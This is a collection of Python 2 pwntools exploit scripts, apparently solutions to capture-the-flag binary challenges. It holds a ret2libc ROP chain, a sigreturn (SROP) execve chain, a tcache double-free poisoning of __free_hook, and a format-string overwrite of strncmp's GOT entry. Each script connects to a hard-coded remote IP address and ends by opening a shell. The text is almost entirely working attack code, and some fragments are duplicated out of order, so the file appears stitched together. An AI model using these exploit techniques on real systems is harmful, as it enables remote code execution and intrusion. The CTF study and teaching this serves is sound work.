#!/usr/bin/env python2

from pwn import *

elf = ELF('./vuln')
libc = ELF('./libc.so.6') # libc-2.27 from Ubuntu Bionic
#p = process('./vuln')
p = remote('35.188.73.186', 1111)

# Receive the initial text
p.recv()

# Important addresses
puts = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x401223 # pop rdi; ret
ret = 0x40101a # ret
main = elf.symbols['main']

# For an explanation of the need for the ret gadget, please check the
# ROPEmporium Beginner's Guide under Common Pitfalls
#------------------------------------------------------
payload = 'A'*264 # Overflow to return address
payload += p64(ret) # This is needed here because of libc-2.27
payload += p64(pop_rdi) # Pop puts_got into rdi
payload += p64(puts_got)
payload += p64(puts) # Call puts(puts_got)
payload += p64(main) # Jump back to main

p.sendline(payload)

p.recvuntil('\n')

# Get puts libc leak and calculate important offsets
p.recvline()
leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
libc.address = leak - libc.symbols['puts']
system = libc.symbols['system']
bin_sh = next(libc.search('/bin/sh'))

log.info('Leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('system: ' + hex(system))
log.info('/bin/sh: ' + hex(bin_sh))

# Redo the exploit but call system('/bin/sh')
p.recv()
payload = 'A'*264
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

p.sendline(payload)

p.interactive()

#!/usr/bin/env python2

from pwn import *

elf = ELF('./vuln')

context.arch = 'amd64'
context.terminal = ['tmux', 'new-window']

def start():
    if not args.REMOTE:
        return process('./vuln')
    else:
        return remote('146.148.108.204', 4444)

p = start()
if args.GDB:
    gdb.attach(p)

p.recv()

# Important addresses
pop_rax = 0x401032 # pop rax; syscall
syscall = 0x401033 # syscall; leave; ret
rw = 0x402040 # read-write section

payload = 'A'*136 # overflow to return address
payload += p64(pop_rax) # pop rax; syscall
payload += p64(0xf) # make syscall number 15 for rt_sigreturn

# Sigreturn frame
frame = SigreturnFrame()
frame.rax = 0 # Read syscall
frame.rsp = rw+8 # move the stack pointer to the bss segment
frame.rbp = rw+0x60 # Move the base pointerr to the bss segment
frame.rdi = 0 # Read from stdin
frame.rsi = rw # Read into the read-write section
frame.rdx = 0x400 # Read 0x400 bytes
frame.rip = syscall # jumps to the syscall; leave; ret gadget after syscall

payload += str(frame)

p.sendline(payload)

# Sleep to let the payload send (needed for remote)
sleep(1)

# Now we start our new payload in the bss segment
# ------------------------------------
payload = '/bin/sh\x00' # Input /bin/sh\x00 to use later
payload += 'A'*96 # Overwrite until return address in our "emulated" stack
payload += p64(pop_rax) # Jump to pop rax; syscall
payload += p64(0xf) # Make syscall number 15 for rt_sigreturn

# Call execve now
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = rw # addr of /bin/sh\x00
frame.rsi = 0 # needs to be null
frame.rdx = 0 # needs to be null
frame.rip = syscall # Jump to syscall;

payload += str(frame)

p.sendline(payload)

p.interactive()

# Initial user
create('A'*8, 15)

# Double free
free()
free()

# Change LSB of fd to 0x80
edit('\x80', 15)

create('A', 15)
message('A'*0x30)

leak = u64(p.recvuntil('Saving').split('\n')[2][-6:].ljust(8, '\x00'))
libc.address = leak - 0x3e82a0
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']

log.info('Leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('system: ' + hex(system))
log.info('__free_hook: ' + hex(free_hook))

#!/usr/bin/env python2

from pwn import *

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

def get_base_address(proc):
  return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(breakpoints):
  script = ""
  PIE = get_base_address(p)
  for bp in breakpoints:
    script += "b *0x%x\n"%(PIE+bp)
  gdb.attach(p,gdbscript=script)

def create(username, age):
    p.sendlineafter(': ', '0')
    p.sendlineafter(': ', str(age))
    p.sendafter(': ', username)

def edit(username, age):
    p.sendlineafter(': ', '1')
    p.sendlineafter(': ', str(age))
    p.sendafter(': ', username)

def free():
    p.sendlineafter(': ', '2')

def message(msg):
    p.sendlineafter(': ', '3')
    p.sendafter(': ', msg)

def start():
    if not args.REMOTE:
        return process('./vuln')
    else:
        return remote('34.69.116.108', 3333)

context.terminal = ['tmux', 'new-window']

p = start()
if args.GDB:
    debug([])

# Initial user
create('A'*8, 15)

# Double free
free()
free()

# Change LSB of fd to 0x80
edit('\x80', 15)

create('A', 15)
message('A'*0x30)

leak = u64(p.recvuntil('Saving').split('\n')[2][-6:].ljust(8, '\x00'))
libc.address = leak - 0x3e82a0
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']

log.info('Leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('system: ' + hex(system))
log.info('__free_hook: ' + hex(free_hook))

# Tcache poisoning attack
free()
free()

edit(p64(free_hook), 15)
message('/bin/sh\x00')
message(p64(system))
free()

p.interactive()

# Get base address of binary
leak = execute('echo 0x%3$x')[:10]
elf.address = int(leak, 16) - 0x1249
strncmp_got = elf.got['strncmp']
system = elf.plt['system']

log.info('PIE base: ' + hex(elf.address))
log.info('strncmp_got: ' + hex(strncmp_got))
log.info('system: ' + hex(system))

#!/usr/bin/env python2

from pwn import *

elf = ELF('./xsh')
libc = ELF('./libc.so.6')

def start():
    if not args.REMOTE:
        return process('./xsh')
        libc = ELF('./libc.so.6')
    else:
        return remote('35.192.206.226', 5555)
        libc = ELF('./libc-remote.so.6')

def execute(cmd):
    p.recv()
    p.sendline(cmd)
    return p.recvuntil('$')

context.terminal = ['tmux', 'new-window']
p = start()
if args.GDB:
    gdb.attach(p)

# Get base address of binary
leak = execute('echo 0x%3$x')[:10]
elf.address = int(leak, 16) - 0x1249
strncmp_got = elf.got['strncmp']
system = elf.plt['system']

log.info('PIE base: ' + hex(elf.address))
log.info('strncmp_got: ' + hex(strncmp_got))
log.info('system: ' + hex(system))

# Prepare to write system to strncmp_got
# Calculate each half of the address
# This is to prevent the exploit from taking way too long to write a huge address
first = int('0x' + hex(system)[-4:], 16)
second = int(hex(system)[:6], 16)

# Do the format string overwrite
payload = 'echo' + p32(strncmp_got) + p32(strncmp_got+2)
payload += '%{}c%24$n%{}c%25$n'.format(first-4-3, second-first)
execute(payload)

# Execute /bin/sh for shell
p.recv()
p.sendline('/bin/sh')

# When strncmp('/bin/sh') gets called, it will call system('/bin/sh')
p.interactive()